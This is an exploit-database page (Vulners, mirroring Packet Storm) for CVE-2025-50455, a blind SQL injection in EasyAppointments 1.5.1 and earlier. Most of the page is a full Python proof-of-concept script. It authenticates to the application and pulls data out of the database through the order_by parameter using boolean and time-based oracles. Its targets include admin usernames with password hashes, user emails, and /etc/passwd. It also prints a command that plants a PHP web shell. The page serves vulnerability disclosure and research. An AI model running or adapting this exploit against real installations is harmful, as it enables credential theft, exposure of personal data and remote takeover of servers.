Lucene search
+L

EasyAppointments 1.5.1 Blind SQL Injection

🗓️ 01 Sep 2026 00:00:00Reported by Michael ChesangType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Blind SQLi in EasyAppointments <=1.5.1 via order_by parameter in customer search endpoint.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2025-50455
27 Jul 202600:00
attackerkb
circl
Circl
CVE-2025-50455
27 Jul 202619:00
circl
cve
CVE
CVE-2025-50455
27 Jul 202600:00
cve
cvelist
Cvelist
CVE-2025-50455
27 Jul 202600:00
cvelist
githubexploit
GithubExploit
security-advisories
27 Jul 202609:16
githubexploit
exploitdb
Exploit DB
EasyAppointments 1.5.1 - Blind SQL Injection
1 Sep 202600:00
exploitdb
euvd
EUVD
EUVD-2025-210522
27 Jul 202600:00
euvd
nvd
NVD
CVE-2025-50455
27 Jul 202616:16
nvd
ptsecurity
Positive Technologies
PT-2026-64973
27 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2025-50455
27 Jul 202600:00
vulnrichment
# Exploit Title: EasyAppointments  1.5.1 - Blind SQL Injection 
    # Google Dork: N/A (backend login required)
    # Date: 07/27/2026
    # Exploit Author: Michael Chesang
    # Vendor Homepage: https://easyappointments.org
    # Software Link: https://github.com/alextselegidis/easyappointments/releases
    # Version: <= 1.5.1 (REQUIRED)
    # Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28
    # CVE: CVE-2025-50455
    
    === Description ===
    
    A blind SQL injection vulnerability exists in the order_by parameter of
    the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1.
    The parameter is passed unsanitized to CodeIgniter 3 Query Builder
    order_by(). Parenthesized subqueries bypass backtick escaping via CI3's
    protect_identifiers(), enabling arbitrary SQL injection.
    
    Dual-mode extraction:
    - Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order
    - Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0))
    
    === PoC attached: poc_CVE-2025-50455.py ===
    
    Usage:
    python3 poc_CVE-2025-50455.py --url http://target/ \
    --username admin --password secret \
    --mode bool --target version
    
    === References ===
    
    https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9
    https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e
    https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md
    
    import argparse
    import json
    import re
    import sys
    import time
    
    import requests
    import urllib.parse
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    BANNER = r"""
      _______  _    ________     ___   ___  ___  ______   _____ ____  __  _ ____
     / ___\ \ / /__|__  / __|   |_  ) / _ \|_  )|__ /__|/ ____| ___||  \| | ___|
    | |__  \ V / -_)/ /| _|      / / | (_) |/ /  |_ \_  \___ \|___ \|     |___ \
     \____|  \_/\___/___|___|    /___| \___//___|____(_)  ____/ ____/|_|\__|____/
    
      CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1
      POST /index.php/{customers,admins,providers,...}/search  →  order_by
      Dual-mode: boolean (~0.1s/q) or time-based (~5s/q)
      Author: Michael Chesang
    """
    
    ENDPOINTS = {
        "customers":          "index.php/customers/search",
        "admins":             "index.php/admins/search",
        "providers":          "index.php/providers/search",
        "services":           "index.php/services/search",
        "service_categories": "index.php/service_categories/search",
        "webhooks":           "index.php/webhooks/search",
        "blocked_periods":    "index.php/blocked_periods/search",
    }
    
    LOGIN_PATH     = "index.php/login"
    VALIDATE_PATH  = "index.php/login/validate"
    SLEEP_SEC      = 5
    SLEEP_TOL      = 1.5
    
    
    def die(msg: str):
        print(msg, file=sys.stderr)
        sys.exit(1)
    
    
    def extract_csrf(html: str) -> str:
        m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html)
        if not m:
            die("[!] Could not extract csrf_token from page.")
        return m.group(1)
    
    
    def login(args) -> requests.Session:
        sess = requests.Session()
        sess.verify = args.verify
    
        r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout)
        if r.status_code not in (200, 302):
            die(f"[!] Cannot reach login page: HTTP {r.status_code}")
    
        csrf_token = extract_csrf(r.text)
    
        r = sess.post(
            urllib.parse.urljoin(args.url, VALIDATE_PATH),
            data={"csrf_token": csrf_token, "username": args.username, "password": args.password},
            timeout=args.timeout,
        )
        if not r.json().get("success"):
            die("[!] Authentication failed – wrong credentials.")
    
        print(f"[+] Authenticated as '{args.username}'")
        return sess
    
    
    def send(sess, args, order_by: str) -> requests.Response:
        search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"])
        url = urllib.parse.urljoin(args.url, search_path)
        csrf_token = sess.cookies.get("csrf_cookie", "")
        data = {
            "csrf_token": csrf_token,
            "keyword": "",
            "limit": 20,
            "offset": 0,
            "order_by": order_by,
        }
        return sess.post(url, data=data, timeout=args.timeout)
    
    
    def timed_send(sess, args, order_by: str) -> float:
        t0 = time.monotonic()
        send(sess, args, order_by)
        return time.monotonic() - t0
    
    
    def delayed(elapsed: float) -> bool:
        return elapsed >= (SLEEP_SEC - SLEEP_TOL)
    
    
    # ── Boolean Oracle ────────────────────────────────────────────────────────
    
    def find_ref_id(sess, args) -> int:
        """Find the ID of the first row when sorted by id ASC.
        Reference anchor for boolean oracle — stays constant on FALSE.
        Returns -1 if only 1 row (boolean mode unavailable).
        """
        try:
            r = send(sess, args, "id ASC")
            rows = r.json()
            if len(rows) < 2:
                return -1
            return rows[0]["id"]
        except Exception:
            return -1
    
    
    def bool_oracle(sess, args, condition: str, ref_id: int) -> bool:
        """Boolean oracle via ORDER BY manipulation.
        Payload: (SELECT IF(condition, id, -id)) DESC
        TRUE  → first row has id != ref_id (sorted by id DESC)
        FALSE → first row has id == ref_id (sorted by -id DESC == id ASC)
        """
        payload = f"(SELECT IF({condition}, id, -id)) DESC"
        try:
            r = send(sess, args, payload)
            rows = r.json()
            if not rows:
                return False
            return rows[0].get("id", 0) != ref_id
        except Exception:
            return False
    
    
    # ── Time-based Oracle ─────────────────────────────────────────────────────
    
    def time_oracle(sess, args, condition: str) -> bool:
        payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))"
        return delayed(timed_send(sess, args, payload))
    
    
    # ── Binary-search extraction (shared) ─────────────────────────────────────
    
    def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int:
        lo, hi = 1, max_len
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        return lo
    
    
    def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str:
        lo, hi = 32, 126
        while lo < hi:
            mid = (lo + hi) // 2
            if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"):
                hi = mid
            else:
                lo = mid + 1
        return chr(lo) if lo <= 126 else "?"
    
    
    def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str:
        tag = label or expr
        print(f"\n[*] Extracting: {tag}")
        length = get_length(sess, args, oracle_fn, expr, max_len)
        print(f"[*] Length = {length} chars")
        result = ""
        for pos in range(1, length + 1):
            ch = get_char(sess, args, oracle_fn, expr, pos)
            result += ch
            print(f"    [{pos:03d}/{length}]  {result}", end="\r", flush=True)
        print(f"    [{length:03d}/{length}]  {result}   ")
        return result
    
    
    # ── Target expressions ────────────────────────────────────────────────────
    
    TARGETS = {
        "version":           ("@@version",                                                      "MySQL version"),
        "user":              ("USER()",                                                          "DB user"),
        "database":          ("DATABASE()",                                                      "Current database"),
        "datadir":           ("@@datadir",                                                       "Data directory"),
        "hostname":          ("@@hostname",                                                      "Hostname"),
        "secure_file_priv":  ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"),
        "tables":            ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"),
        "columns":           ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"),
        "admin_creds":       ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"),
        "user_emails":       ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"),
    }
    
    
    # ── Modes ─────────────────────────────────────────────────────────────────
    
    def mode_bool(sess, args):
        """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode."""
        print(f"\n[*] Mode: boolean-based extraction")
        print(f"[*] Endpoint: {args.endpoint}")
    
        ref_id = find_ref_id(sess, args)
        if ref_id < 0:
            print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.")
            return
        print(f"[*] Reference ID (FALSE anchor): {ref_id}")
    
        oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id)
    
        expr_label = TARGETS.get(args.target, TARGETS["version"])
        expr = expr_label[0].format(table=args.table)
        label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1]
    
        value = extract(sess, args, oracle_fn, expr, label)
        print(f"\n[+] {label}:  {value}")
    
    
    def mode_time(sess, args):
        print("\n[*] Mode: time-based confirmation")
        print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
        print()
    
        elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))")
        elapsed_safe = timed_send(sess, args, "update_datetime DESC")
    
        print(f"    Injected (sleep)  → {elapsed_vuln:.2f}s")
        print(f"    Benign (no sleep) → {elapsed_safe:.2f}s")
        print()
    
        if delayed(elapsed_vuln) and not delayed(elapsed_safe):
            print("[+] ✔  VULNERABLE")
        else:
            print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.")
    
    
    def mode_enum(sess, args):
        """Extract arbitrary data via time-based oracle."""
        expr_label = TARGETS.get(args.target, TARGETS["version"])
        expr = expr_label[0].format(table=args.table)
        label = expr_label[1]
    
        print(f"\n[*] Mode: data enumeration  ({label})")
        value = extract(sess, args, time_oracle, expr, label)
        print(f"\n[+] {label}:  {value}")
    
    
    def mode_schema(sess, args):
        tables_to_probe = [
            "ea_users", "ea_appointments", "ea_services",
            "ea_providers", "ea_settings", "users", "admins",
        ]
        if args.table and args.table not in tables_to_probe:
            tables_to_probe.insert(0, args.table)
    
        print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)")
        print(f"[*] Probing tables: {tables_to_probe}")
        print()
    
        found = []
        for tbl in tables_to_probe:
            cond = (f"EXISTS(SELECT 1 FROM information_schema.tables "
                    f"WHERE table_schema=DATABASE() AND table_name='{tbl}')")
            payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))"
            print(f"    Testing '{tbl}' …", end=" ", flush=True)
            elapsed = timed_send(sess, args, payload)
            if delayed(elapsed):
                print(f"EXISTS  ({elapsed:.1f}s delay)")
                found.append(tbl)
            else:
                print(f"not found ({elapsed:.1f}s)")
    
        print()
        if found:
            print(f"[+] Confirmed tables: {found}")
        else:
            print("[-] No tested tables confirmed.")
    
    
    def mode_outfile(sess, args):
        outfile  = args.outfile
        readfile = args.readfile
        shell    = '<?php system($_GET["cmd"]); ?>'
    
        print("\n[*] Mode: FILE privilege exploitation")
        print(f"[*] Read target : {readfile}")
        print(f"[*] Write target: {outfile}")
        print()
    
        # Step 1: check secure_file_priv
        print("[*] Step 1 – Enumerating @@global.secure_file_priv …")
        try:
            sfp = extract(
                sess, args, time_oracle,
                "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')",
                "secure_file_priv", max_len=128,
            )
            print(f"\n[+] secure_file_priv = {sfp!r}")
            file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL"
        except Exception:
            print("[!] Could not determine secure_file_priv, assuming restricted.")
            file_priv = False
    
        # Step 2: LOAD_FILE read
        print()
        print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …")
        if not file_priv:
            print("[!] FILE privilege unavailable – skipping read.")
        else:
            file_len = get_length(
                sess, args, time_oracle,
                f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536,
            )
            if file_len == 0:
                print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.")
            else:
                print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …")
                content = extract(
                    sess, args, time_oracle,
                    f"IFNULL(LOAD_FILE('{readfile}'),'')",
                    f"LOAD_FILE({readfile})", max_len=min(file_len, 512),
                )
                print(f"\n[+] File content ({readfile}):")
                print("-" * 60)
                print(content)
                print("-" * 60)
    
        # Step 3: stacked-query write (theoretical)
        print()
        print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)")
        search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint])
        stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -"
        print(f"    curl -X POST {search_url} \\")
        print(f"      -b 'ea_session=<your_session>' \\")
        print(f"      -d $'keyword=&limit=20&offset=0&order_by={stacked}'")
    
    
    # ── CLI ───────────────────────────────────────────────────────────────────
    
    def parse_args() -> argparse.Namespace:
        p = argparse.ArgumentParser(
            prog="poc_CVE-2025-50455",
            description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog=__doc__,
        )
        p.add_argument("--url",      required=True,
                       help="Base URL (e.g. http://172.17.0.1/)")
        p.add_argument("--username", required=True, help="Backend username")
        p.add_argument("--password", required=True, help="Backend password")
        p.add_argument(
            "--mode",
            choices=["bool", "time", "schema", "enum", "outfile"],
            default="time",
            help=(
                "bool    – boolean extraction via ORDER BY (fastest, need 2+ rows)\n"
                "time    – time-based SLEEP confirmation   (default)\n"
                "schema  – probe table existence via SLEEP\n"
                "enum    – time-based data extraction\n"
                "outfile – LOAD_FILE() read + write analysis"
            ),
        )
        p.add_argument(
            "--endpoint",
            choices=list(ENDPOINTS.keys()),
            default="customers",
            help="Vulnerable endpoint (default: customers)",
        )
        p.add_argument(
            "--target",
            choices=list(TARGETS.keys()),
            default="version",
            help="(enum/bool mode) what to extract. Default: version",
        )
        p.add_argument("--table", default="ea_users",
                       help="Table name for --target columns / --mode schema")
        p.add_argument("--outfile", default="/var/www/html/shell.php",
                       help="(outfile) Server path for shell")
        p.add_argument("--readfile", default="/etc/passwd",
                       help="(outfile) File to read via LOAD_FILE()")
        p.add_argument("--timeout", type=int, default=30,
                       help="HTTP timeout (default: 30)")
        p.add_argument("--no-verify", dest="verify", action="store_false",
                       default=True, help="Disable TLS verification")
        return p.parse_args()
    
    
    def main():
        print(BANNER)
        args = parse_args()
    
        if not args.url.endswith("/"):
            args.url += "/"
    
        print(f"[*] Target   : {args.url}")
        print(f"[*] Endpoint : {args.endpoint}")
        print(f"[*] Mode     : {args.mode}")
        print(f"[*] Timeout  : {args.timeout}s")
    
        sess = login(args)
    
        dispatch = {
            "bool":    mode_bool,
            "time":    mode_time,
            "schema":  mode_schema,
            "enum":    mode_enum,
            "outfile": mode_outfile,
        }
        dispatch[args.mode](sess, args)
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.19.1
EPSS0.00552
SSVC
7